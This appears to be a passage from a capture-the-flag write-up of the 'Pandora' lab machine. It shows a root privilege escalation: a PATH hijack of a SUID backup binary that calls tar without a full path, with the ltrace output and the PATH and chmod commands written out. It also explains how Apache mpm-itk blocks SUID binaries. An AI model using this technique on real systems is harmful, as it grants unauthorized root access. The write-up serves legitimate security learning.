ltrace is installed on Pandora, so I’ll run pandora_backup through it. This will drop the SUID bit, but I can still see what it’s trying to do:

matt@pandora:~$ ltrace pandora_backup 
getuid()                                         = 1000
geteuid()                                        = 1000
setreuid(1000, 1000)                             = 0
puts("PandoraFMS Backup Utility"PandoraFMS Backup Utility
)                = 26
puts("Now attempting to backup Pandora"...Now attempting to backup PandoraFMS client
)      = 43
system("tar -cvf /root/.backup/pandora-b"...tar: /root/.backup/pandora-backup.tar.gz: Cannot open: Permission denied
tar: Error is not recoverable: exiting now
 <no return ...>
--- SIGCHLD (Child exited) ---
<... system resumed> )                           = 512
puts("Backup failed!\nCheck your permis"...Backup failed!
Check your permissions!
)     = 39
+++ exited (status 1) +++

It crashes because it doesn’t have permissions to /root/.backup/pandora-backup.tar.gz, which makes sense since ltrace drops the privs from SUID.

Still, I’ll note that it’s using system to call tar without a full path.


Because there’s no path given for tar, it will use the current user’s PATH environment variable to look for valid executables to run. But I can control that path, which makes this likely vulnerable to path hijack.

I’ll work from /dev/shm, and add that to the current user’s PATH:

matt@pandora:/dev/shm$ echo $PATH
matt@pandora:/dev/shm$ export PATH=/dev/shm:$PATH
matt@pandora:/dev/shm$ echo $PATH

Now the first place it will look for tar is /dev/shm.

For a malicious payload, I’ll keep it really simply:

matt@pandora:/dev/shm$ cat tar 


It’s important to also make sure that tar is executable:

matt@pandora:/dev/shm$ chmod +x tar

Now I’ll run pandora_backup, and when it reaches the call to tar, I get a shell:

matt@pandora:/dev/shm$ pandora_backup 
PandoraFMS Backup Utility
Now attempting to backup PandoraFMS client

And read the flag:

root@pandora:/root# cat root.txt

Beyond Root

Big thanks the jkr and TheCyberGeek, both of whom gave me some pointers to get started on digging in on this one.


I noted that when I got a shell exploiting Pandora FMS, any SetUID or SUID binaries I tried to run failed to run privileged. To dig in a bit, I’ll look at how Apache is configured.

The configuration for the Pandora site, /etc/apache2/sites-enabled/pandora.conf, specified that the site runs as user matt and group matt:

<VirtualHost localhost:80>
  ServerAdmin admin@panda.htb
  ServerName pandora.panda.htb
  DocumentRoot /var/www/pandora
  AssignUserID matt matt
  <Directory /var/www/pandora>
    AllowOverride All
  ErrorLog /var/log/apache2/error.log
  CustomLog /var/log/apache2/access.log combined

Having Apache run different virtual hosts as different users is not something Apache does on it’s own. If you are curious why Apache would need to do this at all, an earlier version of this box had another webserver used to get the initial shell.

Some Googling of “AssignedUserId Apache” leads to a bunch of stuff about the mpm-itk Apache module. For example, this guide, entitled Running Vhosts Under Separate UIDs/GIDs With Apache2 mpm-itk On Debian Etch.

The /etc/apache2/mods-enabled directory shows the various modules that are enabled, and mpm-itk is there (typically items in the *-enabled directories are symbolic links to items in the *-available directories):

root@pandora:/etc/apache2/mods-enabled# ls -l mpm_itk.load 
lrwxrwxrwx 1 root root 30 Jun 11  2021 mpm_itk.load -> ../mods-available/mpm_itk.load

SUID Restrictions

Some Googling for the SetUID failures will turn up post like this one and this one, both of which mention the same issues and mpm-itk. For example, the latter includes this response:

The current version of mpm-itk installs a seccomp filter to prevent privilege escalation to root. This has the side effect that suid- binaries do not work when called by mpm-itk.

Looking at the details of mpm-itk here, there’s one bullet under “Configuration” that jumps out at me which may be related:

  • LimitUIDRange, LimitGIDRange (Apache 2.4 or newer only): Restrict setuid() and setgid() calls to a given range (e.g. “LimitUIDRange 1000 2000” to allow only uids from 1000 to 2000, inclusive), possibly increasing security somewhat. Note that this requires seccomp v2 (Linux 3.5.0 or newer). Also, due to technical reasons, setgroups() is not restricted, so a rogue process can still get any group it might want. Still, performing a successful attack will be somewhat trickier than otherwise.

This page from cPanel says it more clearly:

setuid() and setgid() restrictions

The MPM ITK Apache module implements restrictions on the use of the setuid() function and the setgid() function. As a result, scripts that depend on these functions may encounter problems. This includes scripts that use the mail() function, the shell_exec function, or the sudo command.

You can resolve these restrictions with one of the following methods:

  • Don’t use the MPM ITK Apache module.

  • Update your script to no longer require escalated privileges.

  • Turn off security and allow users to execute scripts as the root user. You can allow users with UID or GID between 0 and 4294496296 to bypass security if you add the following code to your

    /etc/apache2/conf.d/includes/pre_virtualhost_global.conf file:

    <IfModule mpm_itk.c>
    LimitUIDRange 0 4294496296
    LimitGIDRange 0 4294496296

My theory at this point is that mpm-itk is preventing any shells that are children of Apache from accessing SUID binaries within that range, which must include root. When I manage to switch to SSH, the process is no longer running through the Apache/mpm-itk jail, and that opens back up the ability to run SUID binaries.

Find LimitUIDRange Values

If that’s right, I should be able to figure out what the configuration value is on Pandora, and if it’s not specifically configured there, then figure out what the default values for LimitUIDRange might be.

In this video, I’ll look around for any settings on Pandora, and failing to find them, locate the defaults in the mpm-itk source. Once I find those, I’ll test the hypothesis by changing the owner of pandora_backup to something in the allowed range and seeing if SUID works again.